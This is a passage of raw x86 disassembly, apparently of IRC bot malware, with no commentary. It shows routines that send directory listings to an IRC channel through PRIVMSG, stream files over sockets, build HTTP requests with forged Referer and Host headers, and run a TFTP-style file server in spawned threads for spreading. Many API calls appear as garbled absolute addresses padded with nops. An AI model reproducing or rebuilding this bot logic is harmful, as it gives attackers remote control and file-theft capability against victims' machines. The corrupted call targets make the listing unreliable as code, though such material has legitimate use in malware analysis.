[ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_406919 ; --------------------------------------------------------------------------- loc_4066A1: ; CODE XREF: sub_406387+2E0j cmp [ebp+arg_C], ebx jz loc_40678B push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406741 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406746 ; --------------------------------------------------------------------------- loc_406741: ; CODE XREF: sub_406387+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406746: ; CODE XREF: sub_406387+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40691A ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406387+31Dj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41782A add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 14h jmp loc_406929 ; --------------------------------------------------------------------------- loc_4067D0: ; CODE XREF: sub_406387+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40680F push ebx push [ebp+var_368] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4067FB: ; CODE XREF: sub_406387+577j lea eax, [ebp+var_248] push eax call sub_41782A add esp, 1Ch jmp loc_406929 ; --------------------------------------------------------------------------- loc_40680F: ; CODE XREF: sub_406387+44Fj cmp [ebp+arg_C], ebx jz loc_406903 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 lea eax, [ebp+var_35C] push eax call sub_417AB0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068AF push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068B4 ; --------------------------------------------------------------------------- loc_4068AF: ; CODE XREF: sub_406387+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068B4: ; CODE XREF: sub_406387+526j lea eax, [ebp+var_248] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4067FB ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_406387+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_406919: ; CODE XREF: sub_406387+315j push esi loc_40691A: ; CODE XREF: sub_406387+3FFj lea eax, [ebp+var_248] push eax call sub_41782A add esp, 18h loc_406929: ; CODE XREF: sub_406387+444j ; sub_406387+483j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_8], ebx jz short loc_406958 push 7D0h call near ptr 26004EDh nop loc_406958: ; CODE XREF: sub_406387+22Bj ; sub_406387+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 26A0000h test eax, eax jnz loc_4065AC loc_406970: ; CODE XREF: sub_406387+21Aj push [ebp+arg_0] call near ptr 2680508h nop cmp [ebp+arg_8], ebx jz short loc_4069B3 mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4172AE add esp, 14h jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069B3: ; CODE XREF: sub_406387+5F5j cmp [ebp+arg_C], ebx jz short loc_4069CD lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4172AE pop ecx pop ecx jmp short loc_4069E7 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406387+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4172AE add esp, 10h loc_4069E7: ; CODE XREF: sub_406387+62Aj ; sub_406387+644j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 pop edi pop esi xor eax, eax pop ebx leave retn sub_406387 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A0D proc near ; CODE XREF: sub_405F4D+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 2640000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AC5 push esi push ebx nop call near ptr 2680000h cmp eax, esi mov [ebp+arg_4], eax jz short loc_406ABE loc_406A52: ; CODE XREF: sub_406A0D+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_417330 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A6F mov edi, [ebp+arg_4] loc_406A6F: ; CODE XREF: sub_406A0D+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 26C0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2621026h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_406AB9 call dword_43F5FC cmp eax, 2733h jnz short loc_406ABE xor eax, eax loc_406AB9: ; CODE XREF: sub_406A0D+9Bj sub [ebp+arg_4], eax jnz short loc_406A52 loc_406ABE: ; CODE XREF: sub_406A0D+43j ; sub_406A0D+A8j push ebx nop call near ptr 2621906h loc_406AC5: ; CODE XREF: sub_406A0D+30j pop edi pop esi pop ebx leave retn sub_406A0D endp ; =============== S U B R O U T I N E ======================================= sub_406ACA proc near ; CODE XREF: sub_4060D0+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_417AB0 test eax, eax pop ecx jbe short loc_406AF3 loc_406ADD: ; CODE XREF: sub_406ACA+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AE7 mov byte ptr [esi+edi], 2Fh loc_406AE7: ; CODE XREF: sub_406ACA+17j push edi inc esi call sub_417AB0 cmp esi, eax pop ecx jb short loc_406ADD loc_406AF3: ; CODE XREF: sub_406ACA+11j mov eax, edi pop edi pop esi retn sub_406ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AF8 proc near ; CODE XREF: sub_40EE72+2BE6p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43F5E0 push 6 push 1 push 2 call dword_43F6E8 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43F668 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz short loc_406BD5 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B71 mov eax, offset byte_43C80C loc_406B71: ; CODE XREF: sub_406AF8+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43F6B8 push esi lea eax, [ebp+var_110] push edi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43F680 pop esi loc_406BD5: ; CODE XREF: sub_406AF8+6Bj push ebx call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4172AE cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C15 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_406C15: ; CODE XREF: sub_406AF8+102j pop edi pop ebx leave retn sub_406AF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C19 proc near ; CODE XREF: sub_406C19:loc_407104p ; DATA XREF: sub_407252+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406CDC push 190h nop call near ptr 26004EDh call dword_43F5FC push eax lea eax, [ebp+var_780] push offset unk_42AC38 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CBC push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406CBC: ; CODE XREF: sub_406C19+7Ej lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417076 pop ecx pop ecx push ebx nop call near ptr 25F0320h loc_406CDC: ; CODE XREF: sub_406C19+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_44] push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43F668 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43F694 cmp eax, 0FFFFFFFFh jnz short loc_406D41 push 1388h nop call near ptr 26004EDh dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407104 ; --------------------------------------------------------------------------- loc_406D41: ; CODE XREF: sub_406C19+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DBF push 190h nop call near ptr 26004EDh lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42AC04 push eax call sub_4172AE push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 lea eax, [ebp+var_780] push eax call sub_40BF6D push [ebp+var_170] call sub_417076 add esp, 28h push ebx call near ptr 25F0320h nop loc_406DBF: ; CODE XREF: sub_406C19+140j mov esi, 200h loc_406DC4: ; CODE XREF: sub_406C19+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070C4 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_417330 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43F650 test eax, eax jle loc_4070B8 mov al, byte_43C80C mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43F640 push [ebp+var_28] mov [ebp+var_C], eax call dword_43F6F4 push eax lea eax, [ebp+var_58] push eax call sub_4172AE cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070A2 cmp [ebp+var_D7], 1 jnz loc_406FEE lea eax, [ebp+var_274] push eax call sub_417AB0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_417AB0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_418DA0 add esp, 14h test eax, eax jnz loc_406FA8 lea eax, [ebp+var_1C] push eax call sub_417AB0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_418DA0 add esp, 10h test eax, eax jnz loc_406FA8 push ebx push ebx push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_418A86 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43F6CC lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42ABBC loc_406F5C: ; CODE XREF: sub_406C19+484j lea eax, [ebp+var_780] push eax call sub_4172AE add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406F96 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_40D679 add esp, 14h loc_406F96: ; CODE XREF: sub_406C19+358j lea eax, [ebp+var_780] push eax call sub_40BF6D pop ecx jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FA8: ; CODE XREF: sub_406C19+2B6j ; sub_406C19+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_42ABA8 push edi call dword_43F6CC lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_42AB74 push eax call sub_4172AE lea eax, [ebp+var_D8] push eax call sub_40BF6D add esp, 14h jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406FEE: ; CODE XREF: sub_406C19+275j cmp [ebp+var_D7], 4 jnz loc_4070A2 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_40702B inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_407039 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406C19+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_407039: ; CODE XREF: sub_406C19+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_418D0E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_418A86 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax loc_407079: ; DATA XREF: ___:004282F8o ; ___:0042830Co ... lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43F6CC cmp edi, ebx jnz short loc_4070B8 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_42AB20 jmp loc_406F5C ; --------------------------------------------------------------------------- loc_4070A2: ; CODE XREF: sub_406C19+268j ; sub_406C19+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42AB14 push edi call dword_43F6CC loc_4070B8: ; CODE XREF: sub_406C19+204j ; sub_406C19+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DC4 loc_4070C4: ; CODE XREF: sub_406C19+1B4j push edi call dword_43F700 push [ebp+var_8] call sub_417900 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_4070F8 push [ebp+var_170] call sub_417076 pop ecx push ebx call near ptr 25F0320h nop loc_4070F8: ; CODE XREF: sub_406C19+4CAj push 3E8h nop call near ptr 26004EDh push esi loc_407104: ; CODE XREF: sub_406C19+123j call sub_406C19 pop edi pop esi pop ebx leave retn 4 sub_406C19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407110 proc near ; CODE XREF: sub_40EE72+5D3Dp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42B134 push eax xor ebx, ebx call sub_4172AE cmp dword_42ACB0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40717E push esi mov esi, offset dword_42ACB8 loc_407143: ; CODE XREF: sub_407110+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4172AE lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407143 pop esi loc_40717E: ; CODE XREF: sub_407110+2Bj push dword_489C50 call sub_40B721 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4172AE lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_418DE0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 34h pop edi pop ebx leave retn sub_407110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071DB proc near ; CODE XREF: sub_40EE72+56B1p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_416FA2 test eax, eax pop ecx jle short loc_407217 mov eax, [ebp+arg_C] push dword_43C848[eax*8] call dword_43F6F4 push eax lea eax, [ebp+var_200] push offset unk_42B198 push eax call sub_4172AE add esp, 0Ch jmp short loc_40722A ; --------------------------------------------------------------------------- loc_407217: ; CODE XREF: sub_4071DB+13j lea eax, [ebp+var_200] push offset unk_42B168 push eax call sub_4172AE pop ecx pop ecx loc_40722A: ; CODE XREF: sub_4071DB+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_200] push eax call sub_40BF6D add esp, 18h leave retn sub_4071DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407252 proc near ; CODE XREF: sub_40797F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075E2 imul eax, 3Ch xor ebx, ebx cmp dword_42ACBC[eax], ebx jz loc_4074C3 push 4 call sub_416FA2 test eax, eax pop ecx jnz loc_4075E2 mov eax, dword_42F5AC push edi mov edi, offset dword_43D804 push 104h push edi push ebx mov dword_43DA14, eax mov dword_43DA10, ebx nop call near ptr 2650000h push 103h mov esi, offset dword_43D908 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43D800, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43DA98, eax jnz short loc_407305 lea eax, [ebp+arg_10] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, 1 jmp short loc_40731F ; --------------------------------------------------------------------------- loc_407305: ; CODE XREF: sub_407252+94j lea eax, [ebp+arg_90] push eax push offset dword_43DA18 call sub_418C10 add esp, 0Ch mov dword_43DA9C, ebx loc_40731F: ; CODE XREF: sub_407252+B1j push esi push edi push dword_43DA14 lea eax, [ebp+var_204] push offset unk_42B328 push eax call sub_4172AE push ebx lea eax, [ebp+var_204] push 4 push eax call sub_416D5A add esp, 20h mov dword_43DA0C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43D800 push offset sub_406C19 push ebx push ebx nop call near ptr 2670B28h mov ecx, dword_43DA0C imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40738E loc_40737C: ; CODE XREF: sub_407252+13Aj cmp dword_43DAA0, ebx jnz short loc_4073A9 push 32h call near ptr 26004EDh nop jmp short loc_40737C ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407252+128j nop call near ptr 264030Ch push eax lea eax, [ebp+var_204] push offset unk_42B2E8 push eax call sub_4172AE add esp, 0Ch loc_4073A9: ; CODE XREF: sub_407252+130j lea eax, [ebp+var_204] push eax call sub_40BF6D mov edi, offset dword_43DE5C mov [esp+210h+var_210], 104h push edi push ebx mov dword_43E068, ebx call near ptr 2650000h nop push 103h mov esi, offset dword_43DF60 push offset byte_42F678 push esi call sub_418C10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_43DE58, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43E0F0, eax jnz short loc_407424 lea eax, [ebp+arg_10] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, 1 jmp short loc_40743E ; --------------------------------------------------------------------------- loc_407424: ; CODE XREF: sub_407252+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43E070 call sub_418C10 add esp, 0Ch mov dword_43E0F4, ebx loc_40743E: ; CODE XREF: sub_407252+1D0j push esi push edi push dword_43E06C lea eax, [ebp+var_204] push offset dword_42B298 push eax call sub_4172AE push ebx lea eax, [ebp+var_204] push 5 push eax call sub_416D5A add esp, 20h mov dword_43E064, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DE58 push offset sub_4053D5 push ebx push ebx call near ptr 2670B28h nop mov ecx, dword_43E064 pop edi imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4074B2 loc_40749C: ; CODE XREF: sub_407252+25Ej cmp dword_43E0F8, ebx jnz loc_4075D5 push 32h nop call near ptr 26004EDh jmp short loc_40749C ; --------------------------------------------------------------------------- loc_4074B2: ; CODE XREF: sub_407252+248j call near ptr 264030Ch nop push eax push offset dword_42B258 jmp loc_4075C6 ; --------------------------------------------------------------------------- loc_4074C3: ; CODE XREF: sub_407252+25j cmp dword_42ACC0[eax], ebx jz loc_4075E2 push 3 call sub_416FA2 test eax, eax pop ecx jnz loc_4075E2 mov esi, offset dword_43DD34 push 104h push esi push ebx nop call near ptr 2650000h push 5Ch push esi call sub_418F10 pop ecx cmp eax, ebx pop ecx jz short loc_407501 mov [eax], bl loc_407501: ; CODE XREF: sub_407252+2ABj mov eax, dword_42F5B0 mov dword_43DE4C, ebx mov dword_43DE38, eax lea eax, [ebp+arg_10] push eax push offset dword_43DAAC call sub_4172AE mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_43DAA8, eax mov ecx, [ebp+arg_138] push esi push dword_43DE38 mov dword_43DE44, ecx mov ecx, [ebp+arg_13C] push eax mov dword_43DE48, ecx call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42B20C push eax call sub_4172AE push ebx lea eax, [ebp+var_204] push 3 push eax call sub_416D5A add esp, 20h mov dword_43DE40, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43DAA8 push offset sub_405AF2 push ebx push ebx nop call near ptr 2670B28h mov ecx, dword_43DE40 imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4075BA loc_4075A8: ; CODE XREF: sub_407252+366j cmp dword_43DE54, ebx jnz short loc_4075D5 push 32h nop call near ptr 26004EDh jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_407252+354j nop call near ptr 264030Ch push eax push offset unk_42B1C8 loc_4075C6: ; CODE XREF: sub_407252+26Cj lea eax, [ebp+var_204] push eax call sub_4172AE add esp, 0Ch loc_4075D5: ; CODE XREF: sub_407252+250j ; sub_407252+35Cj lea eax, [ebp+var_204] push eax call sub_40BF6D pop ecx loc_4075E2: ; CODE XREF: sub_407252+14j ; sub_407252+35j ... pop esi pop ebx leave retn sub_407252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075E6 proc near ; CODE XREF: sub_407767:loc_4077D8p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:43C848h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_417390 add esp, 0Ch push [ebp+arg_0] call dword_43F59C inc eax push eax mov [ebp+arg_0], eax call dword_43F664 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_417390 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40762E proc near ; CODE XREF: sub_407767+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730A mov 